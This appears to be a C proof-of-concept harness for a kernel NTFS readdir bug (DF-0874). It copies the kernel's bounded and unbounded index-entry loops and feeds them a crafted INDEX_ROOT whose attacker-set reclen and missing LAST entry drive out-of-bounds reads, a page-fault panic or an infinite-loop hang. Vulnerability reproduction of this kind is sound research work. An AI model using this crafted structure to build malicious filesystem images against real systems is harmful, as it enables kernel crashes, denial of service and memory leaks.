DF-0874 / harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 | /* * DF-0874 deterministic harness -- replicates the EXACT kernel walks in * sys/vfs/ntfs/ntfs_vnops.c:585-586 (ntfs_readdir UNBOUNDED inner loop) and * sys/vfs/ntfs/ntfs_subr.c:1176 (ntfs_ntreaddir BOUNDED loop), feeds them the * same crafted INDEX_ROOT data the live crafter produces, and proves: * * - subr.c bounded walk stays inside [rdbuf, rdbuf+rdsize) (safe) * - vnops.c unbounded walk reads past rdbuf+rdsize / faults (the bug) * * The harness allocates f_dirblbuf exactly as the kernel does * (kmalloc(max(va_datalen, ir_size)) -- here malloc(3) + a guard page), fills * the first va_datalen bytes with crafted index-root data, and runs BOTH * loops. A SIGSEGV handler reports the exact byte offset at which the unbounded * walk dereferences past the buffer (mirrors a kernel page-fault panic). * * Build: cc -O2 -o harness harness.c * Run: ./harness [reclen_hex] [with_last 0|1] [residue 0|1] * defaults: reclen=0xFFF0 with_last=0 residue=1(poison)/0(zeros) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <signal.h> #include <unistd.h> #include <sys/mman.h> /* ---- mirror of struct attr_indexentry (ntfs.h:170, natural align) ---- */ #define IE_RECLN_OFF 0x08 #define IE_FLAG_OFF 0x0C #define IE_FNAMEN_OFF 0x50 #define IE_FNAME_OFF 0x52 #define IE_HDRSZ 82 /* fixed header up to ie_fname */ #define NTFS_IEFLAG_LAST 0x00000002 static const char *g_rdbuf; static uint32_t g_bufsz; static uint32_t g_rdsize; static volatile sig_atomic_t g_fault_off; static int g_faulted; static void sigh(int s, siginfo_t *si, void *uc) { (void)s; (void)uc; long off = (char *)si->si_addr - g_rdbuf; g_fault_off = (uint32_t)off; g_faulted = 1; /* The unbounded walk hit unmapped memory (guard page / past allocation): * this is the userspace analogue of the kernel page-fault panic. */ printf(" [SIGSEGV] vnops walk dereferenced rdbuf+%ld (bufsz=%u, " "rdsize=%u) -> kernel would fatal-trap 12 (page fault) here.\n", off, g_bufsz, g_rdsize); _exit(0); /* don't return from the handler; treat as end-of-walk */ } static const char *subr_walk(const char *rdbuf, uint32_t rdsize, uint32_t aoff, uint32_t target_num, uint32_t *walked_to) { /* EXACT transliteration of ntfs_subr.c:1176-1178 */ uint32_t cnum = 0; const char *iep = rdbuf + aoff; for (;;) { uint32_t flag, reclen; /* bounded check BEFORE deref of next -- but the CURRENT iep must * also be in-bounds to read flag; the kernel relies on the data * being valid. We emulate the kernel's trust. */ if (!(rdsize > aoff)) break; /* walked past data: stop */ memcpy(&flag, iep + IE_FLAG_OFF, 4); if (flag & NTFS_IEFLAG_LAST) break; /* body */ if (cnum >= target_num) { *walked_to = aoff; return iep; } cnum++; memcpy(&reclen, iep + IE_RECLN_OFF, 2); aoff += reclen; iep = rdbuf + aoff; } *walked_to = aoff; return NULL; } static int vn_max_off; static int vn_oob_derefs; static int vn_steps; static int vn_cap = 200000; static void vnops_walk(const char *rdbuf, uint32_t rdsize, const char *iep) { /* EXACT transliteration of ntfs_vnops.c:585-586: * for (; !(iep->ie_flag & LAST); iep = NTFS_NEXTREC(iep)) * with NTFS_NEXTREC(s) = (s + s->reclen). NO bounds check. */ for (;;) { long off = iep - rdbuf; if (off > vn_max_off) vn_max_off = off; if ((uint32_t)off >= rdsize) vn_oob_derefs++; uint32_t flag; memcpy(&flag, iep + IE_FLAG_OFF, 4); /* may SIGSEGV -> sigh() */ if (flag & NTFS_IEFLAG_LAST) break; vn_steps++; uint16_t reclen; memcpy(&reclen, iep + IE_RECLN_OFF, 2); if (reclen == 0) { printf(" [vnops] reclen==0 at off=%ld -> kernel infinite-loop " "hang (DoS)\n", off); return; } iep += reclen; /* NTFS_NEXTREC */ if (--vn_cap <= 0) { printf(" [vnops] safety cap at off=%ld\n", off); return; } } } struct args { uint32_t evil_reclen; int with_last; int poison; }; static uint32_t build_index_root(char *out, uint32_t outcap, struct args a) { char *p = out; /* 32-byte attr_indexroot header */ uint32_t ir_size = 0x1000; uint32_t z[8]; memset(z, 0, sizeof(z)); z[2] = ir_size; /* ir_size field */ memcpy(p, z, 32); p += 32; /* evil entry[0] -- exactly what craft_img.py emits */ char e[IE_HDRSZ + 4*2]; /* header + 4 wchars */ memset(e, 0, sizeof(e)); uint32_t num = 0x41414141; memcpy(e+0, &num, 4); uint16_t rl = a.evil_reclen; memcpy(e+IE_RECLN_OFF, &rl, 2); uint32_t fl = 0; memcpy(e+IE_FLAG_OFF, &fl, 4); /* NOT LAST */ e[IE_FNAMEN_OFF] = 4; /* ie_fnamelen */ e[IE_FNAMEN_OFF+1] = 1; /* ie_fnametype */ uint16_t wc = 0x41; for (int i=0;i<4;i++) memcpy(e+IE_FNAME_OFF+2*i,&wc,2); /* entry occupies IE_HDRSZ + fnamelen*2 = 90 bytes; reclen must be >= that. * The on-disk reclen is the ATTACKER value (may be larger or smaller * than the real body). We write exactly the body bytes. */ size_t body = IE_HDRSZ + 4*2; memcpy(p, e, body); p += body; if (a.with_last) { /* place a proper terminal LAST entry. Its on-disk offset must equal * entry[0]'s reclen for a *valid* image; we honor the attacker reclen * so with_last exercises the "did the LAST entry save us?" question. */ char last[0x58]; memset(last, 0, sizeof(last)); uint32_t lf = NTFS_IEFLAG_LAST; memcpy(last+IE_FLAG_OFF, &lf, 4); uint16_t lr = 0x58; memcpy(last+IE_RECLN_OFF, &lr, 2); memcpy(p, last, 0x58); p += 0x58; } uint32_t datalen = (uint32_t)(p - out); /* patch ir_datalen / ir_allocated (header+0x14 / +0x18) */ uint32_t dl = datalen - 32; memcpy(out+0x14, &dl, 4); memcpy(out+0x18, &dl, 4); (void)outcap; return datalen; } int main(int argc, char **argv) { struct args a; a.evil_reclen = (argc > 1) ? (uint32_t)strtoul(argv[1], 0, 0) : 0xFFF0; a.with_last = (argc > 2) ? atoi(argv[2]) : 0; a.poison = (argc > 3) ? atoi(argv[3]) : 1; /* SIGSEGV handler -> reports the OOB offset */ struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = sigh; sa.sa_flags = SA_SIGINFO; sigaction(SIGSEGV, &sa, NULL); char indexroot[8192]; uint32_t datalen = build_index_root(indexroot, sizeof(indexroot), a); uint32_t ir_size = 0x1000; uint32_t rdsize = datalen; /* va_datalen for INDXROOT */ uint32_t bufsz = (datalen > ir_size) ? datalen : ir_size; if (bufsz < 4096) bufsz = 4096; long pg = 4096; size_t maplen = ((bufsz + pg - 1) / pg + 1) * pg; char *raw = mmap(NULL, maplen + pg, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0); if (raw == MAP_FAILED) { perror("mmap"); return 2; } mprotect(raw + maplen, pg, PROT_NONE); /* guard page */ char *rdbuf = raw + (maplen - bufsz); memcpy(rdbuf, indexroot, datalen); if (a.poison) for (size_t i = datalen; i+3 < bufsz; i += 4) { rdbuf[i]=0xde; rdbuf[i+1]=0xad; rdbuf[i+2]=0xc0; rdbuf[i+3]=0xde; } else memset(rdbuf + datalen, 0, bufsz - datalen); /* fresh-page zeros */ g_rdbuf = rdbuf; g_bufsz = bufsz; g_rdsize = rdsize; printf("=== DF-0874 harness ===\n"); printf("f_dirblbuf = %u bytes (kmalloc)\n", bufsz); printf("INDEX_ROOT rdsize = %u bytes (valid data)\n", rdsize); printf("evil entry[0] : reclen=0x%04x ie_flag=0 (NOT LAST)\n", a.evil_reclen); printf("terminal LAST : %s\n", a.with_last ? "present (valid image)" : "ABSENT (crafted)"); printf("residue [%u..%u) : %s\n", rdsize, bufsz, a.poison ? "0xdeadc0de (INVARIANTS poison)" : "0x00 (fresh page)"); printf("\n"); uint32_t aoff = 32; /* sizeof(attr_indexroot) */ uint32_t subr_walked = 0; const char *match = subr_walk(rdbuf, rdsize, aoff, 0, &subr_walked); printf("[subr.c:1176 BOUNDED walk] find entry 0:\n"); printf(" walked to off=%u (rdsize=%u): %s\n", subr_walked, rdsize, subr_walked < rdsize ? "IN-BOUNDS (safe)" : subr_walked == rdsize ? "stopped at rdsize boundary (safe)" : "PAST rdsize"); if (!match) { printf(" no match (subr walk never returned entry)\n"); } else { uint32_t num; memcpy(&num, match, 4); uint16_t rl; memcpy(&rl, match+IE_RECLN_OFF, 2); uint32_t fl; memcpy(&fl, match+IE_FLAG_OFF, 4); printf(" returned @ off %ld: ie_number=0x%08x reclen=0x%04x " "ie_flag=0x%08x\n", match-rdbuf, num, rl, fl); printf("\n[vnops.c:585 UNBOUNDED walk] from returned entry:\n"); vnops_walk(rdbuf, rdsize, match); printf(" steps=%d max_off=%d (bufsz=%d, rdsize=%u) " "oob_derefs=%d\n", vn_steps, vn_max_off, bufsz, rdsize, vn_oob_derefs); if (g_faulted) { printf(" => BUG: walk page-faulted at rdbuf+%u (past bufsz=%u) " "=> kernel panic 'fatal trap 12'.\n", g_fault_off, bufsz); } else if (vn_oob_derefs > 0) { printf(" => BUG CONFIRMED: ntfs_readdir dereferenced index " "entries %d time(s) PAST the INDEX_ROOT valid data " "(rdsize=%u) using attacker reclen=0x%04x as stride.\n", vn_oob_derefs, rdsize, a.evil_reclen); } else if (vn_max_off >= (int)bufsz) { printf(" => BUG CONFIRMED: walk reached off=%d >= bufsz=%d.\n", vn_max_off, bufsz); } else { printf(" => walk terminated at off=%d (residue byte at ie_flag " "acted as LAST). The OOB deref of ie_flag STILL occurred " "(read residue at rdbuf+%d). On a non-INVARIANTS kernel " "(zeros) the walk continues and leaks ie_number/ie_fname.\n", vn_max_off, vn_max_off + IE_FLAG_OFF); } } munmap(raw, maplen + pg); return 0; } |